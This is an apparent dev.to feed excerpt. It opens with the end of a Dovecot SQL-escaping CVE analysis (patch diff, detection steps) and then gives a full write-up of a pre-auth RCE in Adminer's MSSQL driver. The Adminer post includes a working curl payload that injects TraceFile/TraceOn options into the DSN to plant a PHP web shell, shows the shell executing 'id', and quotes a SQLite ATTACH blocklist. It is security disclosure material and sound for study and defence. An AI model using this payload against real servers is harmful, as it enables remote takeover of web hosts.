&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="gd"&gt;--- a/src/lib-settings/settings.c
&lt;/span&gt;&lt;span class="gi"&gt;+++ b/src/lib-settings/settings.c
&lt;/span&gt;&lt;span class="p"&gt;@@ -1673,8 +1673,14 @@&lt;/span&gt; settings_var_expand_init(struct settings_apply_ctx *ctx)
    ctx-&amp;gt;var_params.tables_arr = array_front(&amp;amp;init_ctx.tables);
    ctx-&amp;gt;var_params.providers_arr = array_front(&amp;amp;init_ctx.providers);
    ctx-&amp;gt;var_params.contexts = array_front(&amp;amp;init_ctx.contexts);
&lt;span class="gd"&gt;-   ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
-   ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
&lt;/span&gt;&lt;span class="gi"&gt;+   if (ctx-&amp;gt;escape_func != NULL) {
+       /* settings_get_params()'s escape_func overrides all others */
+       ctx-&amp;gt;var_params.escape_func = ctx-&amp;gt;escape_func;
+       ctx-&amp;gt;var_params.escape_context = ctx-&amp;gt;escape_context;
+   } else {
+       ctx-&amp;gt;var_params.escape_func = init_ctx.escape_func;
+       ctx-&amp;gt;var_params.escape_context = init_ctx.escape_context;
+   }
&lt;/span&gt;    ctx-&amp;gt;var_params.event = ctx-&amp;gt;event;
 }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, when a caller of &lt;code&gt;settings_get_params()&lt;/code&gt; explicitly supplies an &lt;code&gt;escape_func&lt;/code&gt; (like &lt;code&gt;passdb_sql_escape&lt;/code&gt;), that value takes priority; the event-chain default is only used as a fallback when the caller didn't specify one. This is what finally makes the escape functions passed by &lt;code&gt;passdb-sql.c&lt;/code&gt;, &lt;code&gt;userdb-sql.c&lt;/code&gt;, and &lt;code&gt;db-ldap.c&lt;/code&gt; actually take effect.&lt;/p&gt;

&lt;p&gt;A few related commits shipped alongside it, cleaning up the same pattern:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;25c34e5084&lt;/code&gt; — &lt;code&gt;passdb sql - Fix escaping for set_credentials()&lt;/code&gt; (a missing-escape path in the OTP credential-update flow; not a separate CVE, but the same underlying pattern)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;6a8f2daf15&lt;/code&gt; — &lt;code&gt;passdb/userdb ldap - Fix escaping ldap filter, base and bind_userdn&lt;/code&gt; (CVE-2026-27860, the LDAP counterpart of this exact bug)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;74a6f1612e&lt;/code&gt; — &lt;code&gt;Rewrite ldap_escape() with a unit test&lt;/code&gt; (regression-prevention hardening)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  7. Detection and mitigation
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Check the configuration&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# check dovecot.conf or conf.d/*.conf&lt;/span&gt;
doveconf &lt;span class="nt"&gt;-n&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;auth_username_chars
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;An empty value (&lt;code&gt;auth_username_chars =&lt;/code&gt;) is an immediate red flag. At minimum, restore it to something at or above the default whitelist (&lt;code&gt;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890.-_@&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;If unicode usernames are genuinely required, don't remove the restriction entirely — build an explicit whitelist that still excludes characters used in SQL injection (&lt;code&gt;'&lt;/code&gt;, &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;;&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt;, whitespace, etc.).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Apply the patch&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CE core → 2.4.3 or later&lt;/li&gt;
&lt;li&gt;Pro core → 3.1.4 or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Log-based detection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;With &lt;code&gt;auth_debug = yes&lt;/code&gt; enabled, check the &lt;code&gt;query: ...&lt;/code&gt; debug line emitted by &lt;code&gt;passdb-sql.c&lt;/code&gt; for usernames containing abnormal quote or comment patterns (&lt;code&gt;--&lt;/code&gt;, &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;/*&lt;/code&gt;).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;e_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authdb_event&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sql_request&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;auth_request&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;"query: %s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Operational and network controls&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Apply rate limiting on authentication endpoints, since response-time or error-message differences could be leveraged for user enumeration.&lt;/li&gt;
&lt;li&gt;On the database side, if SQL query logging is enabled, add detection rules for abnormal WHERE-clause patterns in &lt;code&gt;password_query&lt;/code&gt;/&lt;code&gt;user_query&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>database</category>
      <category>vulnerabilities</category>
      <category>cve</category>
      <category>sql</category>
    </item>
    <item>
      <title>CVE-2026-56705: Pre-Auth RCE in Adminer's MSSQL Driver</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Mon, 31 Aug 2026 22:39:45 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-56705-pre-auth-rce-in-adminers-mssql-driver-i8d</link>
      <guid>https://dev.to/guidance_white/cve-2026-56705-pre-auth-rce-in-adminers-mssql-driver-i8d</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ymcy7ctf6nu07gt5wjr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F7ymcy7ctf6nu07gt5wjr.png" alt=" " width="800" height="1200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVE ID&lt;/strong&gt;: CVE-2026-56705&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Target&lt;/strong&gt;: Adminer (vrana/adminer), current stable &lt;code&gt;adminer-5.4.2.php&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CVSS&lt;/strong&gt;: 9.8 (Critical)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Attack requirement&lt;/strong&gt;: None — pre-authentication, over the network&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precondition&lt;/strong&gt;: &lt;code&gt;pdo_sqlsrv&lt;/code&gt; extension + Microsoft ODBC Driver for SQL Server installed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact&lt;/strong&gt;: Remote Code Execution&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discovery&lt;/strong&gt;: Voorivex Team (Yashar Shahinzadeh, Amirmohammad Safari), reported to the vendor on April 6, 2026&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Adminer ships as a single PHP file that gets dropped straight into a web root. That convenience is also why it's such a common target: a login page sitting on the internet, indexed and scannable. This vulnerability lets an attacker drop arbitrary PHP into that same web root &lt;strong&gt;even when the login attempt itself fails.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the bug lives
&lt;/h2&gt;

&lt;p&gt;Adminer takes &lt;code&gt;driver&lt;/code&gt;, &lt;code&gt;server&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, and &lt;code&gt;password&lt;/code&gt; from the login form and hands them directly to each database driver's &lt;code&gt;attach()&lt;/code&gt; function. Here's the MSSQL driver:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;adminer/drivers/mssql.inc.php:185&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;extension_loaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"pdo_sqlsrv"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Db&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="nc"&gt;MssqlDb&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$extension&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"PDO_SQLSRV"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;host_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;dsn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"sqlsrv:Server=&lt;/span&gt;&lt;span class="nv"&gt;$host&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="s2"&gt;",&lt;/span&gt;&lt;span class="nv"&gt;$port&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things go wrong here:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;$host&lt;/code&gt; is concatenated into the DSN string with zero escaping.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;host_port()&lt;/code&gt; only strips anything for the IPv6 bracket form (&lt;code&gt;[::1]:1433&lt;/code&gt;) — everything else passes through untouched.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;code&gt;include/functions.inc.php:851&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;host_port&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'~^(\[(.+)]|([^:]+)):([^:]+)$~'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$server&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any input that doesn't match this pattern — which includes anything shaped like &lt;code&gt;IP;option=value&lt;/code&gt; — falls through the regex and comes back &lt;strong&gt;exactly as submitted&lt;/strong&gt;. So whatever an attacker types into the login form's &lt;code&gt;server&lt;/code&gt; field lands, character for character, inside the DSN.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a single semicolon is enough
&lt;/h2&gt;

&lt;p&gt;ODBC connection strings (DSNs) use a semicolon as the parameter delimiter. Put a semicolon in the &lt;code&gt;server&lt;/code&gt; field and everything after it is parsed as a brand-new DSN option.&lt;/p&gt;

&lt;p&gt;The two options that matter here are &lt;code&gt;TraceFile&lt;/code&gt; and &lt;code&gt;TraceOn&lt;/code&gt;. Turning them on makes the ODBC driver log the &lt;strong&gt;connection attempt itself&lt;/strong&gt; to a file at the given path — regardless of whether the connection succeeds. And that log includes the full connection string, including the &lt;code&gt;UID={...}&lt;/code&gt; field, which is populated straight from the &lt;code&gt;username&lt;/code&gt; field on the login form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzxp0xxxuc8uq3lqhmjs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdzxp0xxxuc8uq3lqhmjs.png" alt=" " width="800" height="354"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That gives an attacker control over three things:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;TraceFile&lt;/code&gt; → the &lt;strong&gt;path and filename&lt;/strong&gt; of the log file (&lt;code&gt;shell.php&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;TraceOn=1&lt;/code&gt; → turns tracing on&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;username&lt;/code&gt; → injects &lt;strong&gt;PHP code&lt;/strong&gt; into the &lt;code&gt;UID={...}&lt;/code&gt; field inside that log&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The full payload, from attach() to PDO
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dsn()&lt;/code&gt; calls &lt;code&gt;new \PDO($dsn, $username, $password, $options)&lt;/code&gt; directly, in &lt;code&gt;pdo.inc.php:13&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;dsn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;array&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;()):&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_ERRMODE&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ERRMODE_SILENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;\PDO&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;ATTR_STATEMENT_CLASS&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Adminer\PdoResult'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;pdo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;\PDO&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dsn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$options&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;\Exception&lt;/span&gt; &lt;span class="nv"&gt;$ex&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$ex&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;getMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the entire chain — login form → &lt;code&gt;attach()&lt;/code&gt; → &lt;code&gt;dsn()&lt;/code&gt; → &lt;code&gt;new PDO()&lt;/code&gt; — never once escapes or validates the input.&lt;/p&gt;

&lt;p&gt;The actual request looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target.tld/adminer.php"&lt;/span&gt; &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; - &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[driver]=mssql"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[server]=127.0.0.1;TraceFile=shell.php;TraceOn=1"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--data-urlencode&lt;/span&gt; &lt;span class="s2"&gt;"auth[username]=&amp;lt;?php system(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_GET['c']); ?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"auth[password]=x"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When this hits the server, Adminer builds this DSN and hands it to PDO:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sqlsrv:Server=127.0.0.1;TraceFile=shell.php;TraceOn=1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ODBC driver opens &lt;code&gt;shell.php&lt;/code&gt;, writes the connection metadata into it (our PHP payload sitting inside &lt;code&gt;UID={...}&lt;/code&gt;), then attempts to connect to &lt;code&gt;127.0.0.1&lt;/code&gt; and fails. &lt;strong&gt;The failure doesn't matter&lt;/strong&gt; — &lt;code&gt;shell.php&lt;/code&gt; already exists next to &lt;code&gt;adminer.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One more request finishes the job:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target.tld/shell.php?c=id"&lt;/span&gt;
&lt;span class="c"&gt;# uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here's the full attack flow:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0wvfr8d0zvmwcfwnecv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb0wvfr8d0zvmwcfwnecv.png" alt=" " width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;div&gt;
    &lt;iframe src="https://www.youtube.com/embed/AixDBIFs6gI" width="315" height="560"&gt;
    &lt;/iframe&gt;
  &lt;/div&gt;


&lt;h2&gt;
  
  
  Why this is severe (the technical factors)
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Pre-auth&lt;/strong&gt;: the login attempt is designed to fail. No valid MSSQL credentials, and no reachable MSSQL server, are required.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Timing of the write&lt;/strong&gt;: the file gets written during the ODBC driver's connection attempt, not inside Adminer's own auth logic — so there's no application-level checkpoint that could intercept it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Precondition&lt;/strong&gt;: &lt;code&gt;pdo_sqlsrv&lt;/code&gt; plus the Microsoft ODBC Driver, which is exactly what you get on hosts talking to Azure SQL Database or an MS SQL Server backend.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Writable web root&lt;/strong&gt;: the default in a lot of containerized PHP deployments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The same shape exists in the sibling &lt;code&gt;pdo_dblib&lt;/code&gt; branch (&lt;code&gt;mssql.inc.php:195&lt;/code&gt;, DSN template &lt;code&gt;dblib:charset=utf8;host=$host&lt;/code&gt;) — the original report notes they didn't have a reachable dblib install to confirm a working gadget there, but the code path is identical.&lt;/p&gt;

&lt;h2&gt;
  
  
  A related case: bypassing the SQLite blocklist
&lt;/h2&gt;

&lt;p&gt;A third issue reported alongside this one, in the same codebase, follows a similar shape and is worth a quick look. Adminer already knows that &lt;code&gt;ATTACH DATABASE 'shell.php'&lt;/code&gt; is a classic SQLite-to-PHP-shell primitive, so it blocks it:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;adminer/sql.inc.php:121&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;JUSH&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"sqlite"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"~^&lt;/span&gt;&lt;span class="nv"&gt;$space&lt;/span&gt;&lt;span class="s2"&gt;*+ATTACH&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;b~i"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$q&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$match&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;p class='error'&amp;gt;"&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nf"&gt;lang&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'ATTACH queries are not supported.'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



